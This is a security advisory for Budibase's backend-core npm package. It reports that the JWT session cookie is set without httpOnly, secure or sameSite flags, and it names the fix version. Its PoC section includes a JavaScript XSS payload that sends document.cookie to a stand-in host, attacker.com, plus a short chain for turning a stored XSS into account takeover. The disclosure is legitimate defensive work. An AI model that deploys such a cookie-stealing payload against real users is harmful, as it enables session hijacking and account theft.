GHSA-4f9j-vr4p-642r
Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @budibase/backend-core | < 3.35.10 | 3.35.10 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.
The cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.
### Details
`packages/backend-core/src/utils/utils.ts`, lines 215-226:
```typescript
const config: SetOption = {
expires: MAX_VALID_DATE,
path: "/",
httpOnly: false, // ← JavaScript can read the session JWT
overwrite: true,
}
if (env.COOKIE_DOMAIN) {
config.domain = env.COOKIE_DOMAIN
}
ctx.cookies.set(name, value, config)
```
This function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.
Missing flags:
- `httpOnly: false` → should be `true` (prevent JS access)
- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)
- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)
### PoC
Any XSS payload can steal the session:
```javascript
// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
```
With `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.
Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:
1. Create an entity with a name containing `<script>` payload
2. Any user who views that entity has their JWT stolen
3. Attacker uses the JWT for persistent account access
### Impact
Every XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."
This affects all Budibase deployments since the cookie configuration is hardcoded.
## ATTACHMENTS
[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)
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References
External links from the advisory. They lead to third-party sites.